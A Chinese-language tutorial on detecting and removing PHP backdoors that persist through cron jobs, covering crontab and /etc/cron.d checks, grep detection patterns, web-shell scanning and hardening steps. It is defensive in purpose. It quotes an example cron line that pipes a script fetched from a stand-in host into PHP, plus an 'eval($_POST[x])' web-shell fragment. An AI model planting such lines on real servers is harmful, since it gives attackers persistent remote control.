定时任务后门怎么查删【教程】

PHP后门远不止藏在显眼的shell.php文件里，更危险的是它已悄然潜入系统定时任务（cron）中，通过每分钟拉取远程脚本、base64解码执行或伪装成日志清理任务实现持久化控制——单纯删文件毫无意义，必须同步排查用户级（crontab -l）、系统级（/etc/cron.d/）可疑任务，精准识别curl/wget/php -r/base64等高危组合与异常时间规则；同时深入Web目录扫描eval、assert、exec等危险函数调用，检查.htaccess伪装、.user.ini挂载及phar协议利用，并在清理后立即封禁攻击IP、禁用危险PHP函数、重置全栈密码，最终完成溯源闭环——否则，后门将在几天内卷土重来。

PHP后门不是靠“删文件”就能清干净的，尤其当它已嵌入定时任务（cron），说明攻击者已获得服务器权限，单纯删掉某个shell.php毫无意义——它可能随时被重新拉起。

怎么看 cron 里有没有可疑定时任务

攻击者常把 PHP 后门调用藏在用户级或系统级 cron 中，比如每分钟请求一次远程脚本、解码执行 base64 字符串，或调用伪装成日志清理的恶意 PHP 文件。

• 运行 crontab -l 查当前用户的定时任务；别忘了用 sudo crontab -u www-data -l（或对应 Web 进程用户）再查一遍
• 检查系统级任务：ls /etc/cron*，重点关注 /etc/cron.d/ 下非系统自带的文件（如 /etc/cron.d/php-backdoor）
• 留意命令中是否含 curl、wget、php -r、base64 -d | php、eval、assert 等高危组合
• 时间字段写成 * * * * * 或 */2 * * * *（每 2 分钟）却无明确业务用途，大概率异常

怎么安全清理 cron 后门而不误删系统任务

直接 crontab -e 手动删行风险高，容易漏掉隐藏任务或破坏格式。优先用最小干预方式定位并移除。

• 先备份：crontab -l > /tmp/crontab.bak，再用 grep -E "(curl|wget|php\s+-r|base64.*php|eval|assert)" /tmp/crontab.bak 快速筛出可疑行
• 对 /etc/cron.d/ 下的文件，用 stat 看创建/修改时间：stat /etc/cron.d/* 2>/dev/null | grep -A1 "Modify\|Change"，新近添加且命名异常（如 logrotate2）的要重点查
• 删完后立刻执行 crontab -l | wc -l 和 ls /etc/cron.d/ | wc -l 记录基准值，后续巡检可比对
• 不要用 crontab -e 清空全部再粘贴回旧内容——换行符或空格错误会导致整个 cron 失效

PHP 文件后门常藏在哪、怎么识别真伪

后门不只躲在 webroot 下的 shell.php，更多混在看似正常的文件里：被篡改的 WordPress 插件主文件、wp-config.php 末尾追加的 eval($_POST[x])、甚至 .user.ini 里用 auto_prepend_file 持久挂载。

• 搜索 Web 目录下所有含 eval、assert、system、passthru、exec、shell_exec 的 PHP 文件：grep -r --include="*.php" -E "(eval|assert|system|passthru|exec|shell_exec)\s*\(" /var/www/
• 重点检查文件修改时间异常的新文件，或权限为 666/777 却非上传目录的 PHP 文件
• .htaccess 里若出现 SetHandler application/x-httpd-php 配合非 PHP 后缀（如 .jpg），说明图片文件可能被当作 PHP 执行
• 别忽略 phar:// 协议利用 —— 某些后门会生成 shell.phar，通过 phar://shell.phar/shell.php 触发，这类需查 allow_url_include = On 是否开启

删完之后必须做的三件事

清理只是第一步，没做这三件事，几天内大概率复现。

• 查登录日志：last 和 grep "Accepted" /var/log/auth.log，确认攻击者用的账号和 IP，封禁对应 IP 并禁用弱密码账号
• 检查 PHP 配置：php -i | grep "disable_functions"，确保 exec、shell_exec、system 等已禁用；若输出为空或包含这些函数，说明配置未生效或被绕过
• 重置所有 Web 用户密码、数据库密码、FTP 密码，并检查数据库里是否有新增的管理员账号（如 WordPress 的 wp_users 表）

真正难的不是找到那行 */5 * * * * curl -s http://mal.com/x.php | php，而是确认它没通过其他通道（如环境变量注入、LD_PRELOAD、SSH authorized_keys）重建自身。删完 cron 和 PHP 文件后，最该花时间的是溯源 —— 它从哪进来的？是未更新的插件？还是暴露的 phpMyAdmin？

今天带大家了解了的相关知识，希望对你有所帮助；关于文章的技术知识我们会一点点深入介绍，欢迎大家关注golang学习网公众号，一起学习编程~